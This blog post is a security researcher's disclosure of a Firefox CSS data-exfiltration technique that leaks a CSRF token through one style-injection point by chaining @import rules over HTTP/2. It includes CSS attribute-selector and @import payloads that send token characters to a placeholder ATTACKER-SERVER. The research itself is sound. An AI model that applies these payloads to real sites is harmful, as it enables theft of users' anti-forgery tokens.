A few months ago I identified a security issue in Firefox known as CVE-2019-17016. During analysis of the issue, I’ve come up with a new technique of CSS data exfiltration in Firefox via a single injection point which I’m going to share in this blog post.
Basics and prior art
For the sake of the examples, we assume that we want to leak CSRF token from <input>
element.
1 |
<input type="hidden" name="csrftoken" value="SOME_VALUE"> |
We cannot use scripts (perhaps because of CSP), so we need to settle for style injection. The classic way is to use attribute selectors, for instance:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); } |
If the CSS rule is applied, then the attacker gets an HTTP request, leaking the first character of the token. Then, another stylesheet needs to be prepared that includes the first known character, for instance:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); } |
It was usually assumed that subsequent stylesheets need to be provided via reloading the page that is loaded in an <iframe>
.
In 2018 Pepe Vila had an amazing concept that we can achieve the same in Chrome with a single injection point by abusing CSS recursive imports. The same trick was rediscovered in 2019 by Nathanial Lattimer (aka @d0nutptr), however with a slight variation. I’ll summarize Lattimer’s approach below because it is closer to what I’ve come up with in Firefox, even though (what’s pretty funny) I wasn’t aware of Lattimer’s research when doing my own one. So one can say that I rediscovered a rediscovery… 🙂
In a nutshell, the first injection is a bunch of imports:
1 2 3 4 |
@import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ... |
Then the idea is as follows:
- In the beginning only the first
@import
returns a stylesheet; the other ones just block the connection, - The first
@import
returns a stylesheet that leaks the 1st character of the token, - When the leak of the 1st character reaches the
ATTACKER-SERVER
, the 2nd import stops blocking and returns a stylesheet that includes the 1st character and attempts to leak the 2nd one, - When the leak of the 2nd character reaches the
ATTACKER-SERVER
, the 3rd import stop blocking… and so on.
The technique works because Chrome processes imports asynchronously, so when any import stops blocking, Chrome immediately parses it and applies it.
Firefox and stylesheet processing
The method from previous paragraph doesn’t work in Firefox at all because of significant differences in processing of stylesheets in comparison to Chrome. I’ll explain the differences on a few simple examples.
First of all, Firefox processes stylesheets synchronously. So when there are multiple imports in a stylesheet, Firefox won’t apply any CSS rules until all of the imports are processed. Consider the following example:
1 2 3 4 5 |
<style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style> |
Assume that the first @import
returns a CSS rule that sets the background of the page to blue
while the next imports are blocking (i.e. they never return anything, hanging the HTTP connection). In Chrome, the page would turn blue immediately. In Firefox, nothing happens.
The problem can be circumvented by placing all imports in separate <style>
elements:
1 2 3 |
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> |
In the case above, Firefox treats all stylesheets separately, so the page turns blue instantly and the other imports are processed in the background.
But then there’s another problem. Let’s say that we want to steal a token with 10 characters:
1 2 3 4 5 |
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> |
Firefox would immediately queue all 10 imports. After processing the first import, Firefox would queue another request with character leak. The problem is that this request is put at the end of the queue and by default the browser has a limit of 6 concurrent connections to a single server. So the request with the leak would never reach the server as there are 6 other blocking connections to the server and we’re going to have a dead-lock.
HTTP/2 to the rescue!
The limit of 6 connections is enforced on TCP layer. So there can be only 6 simultaneous TCP connections to a single server. At this point I had an idea that HTTP/2 could be the solution. If you’re not aware of benefits brought by HTTP/2, one of its main selling points is that you can send multiple HTTP requests over a single connection (known as multiplexing) which increases the performance greatly.
Firefox has a limit of concurrent requests on a single HTTP/2 connection too but by default it is 100 (network.http.spdy.default-concurrent
in about:config
). If we need more, we can force Firefox to create a second TCP connection by using a different host name. For instance, if I create 100 requests to https://localhost:3000
and 50 requests to https://127.0.0.1:3000
, Firefox would create two TCP connections.
Exploit
Now I have all the building blocks needed to prepare a working exploit. Here’s key assumptions:
- The exploit code would be served over HTTP/2.
- Endpoint
/polling/:session/:index
returns a CSS to leak:index
-th character. The request would block unlessindex-1
characters were already leaked.:session
path parameter is used to distinguish various exfiltration attempts. - Endpoint
/leak/:session/:value
is used to leak a token.:value
would be the whole value leaked, not just the last character. - To force Firefox to make two TCP connections one endpoint would be reached via
https://localhost:3000
and the other one viahttps://127.0.0.1:3000
. - Endpoint
/generate
is used to generate a sample code.
I’ve created a testbed in which the goal is to steal the csrftoken
via data exfiltration. You can access it directly here.
I’ve hosted the proof-of-concept on GitHub, and below is a videocast showing that it works:
What’s interesting is that because of HTTP/2 the exploit is blazingly fast; it took less than three seconds to leak the entire token.
Summary
In the article I’ve shown that you can leak data via CSS if you have a single injection point and you don’t want to reload the page. This is possible thanks to two features:
@import
rules need to be separated to many stylesheets so that subsequent imports don’t block processing of the entire stylesheet.- To get around the limit of concurrent TCP connections, the exploit needs to be served over HTTP/2.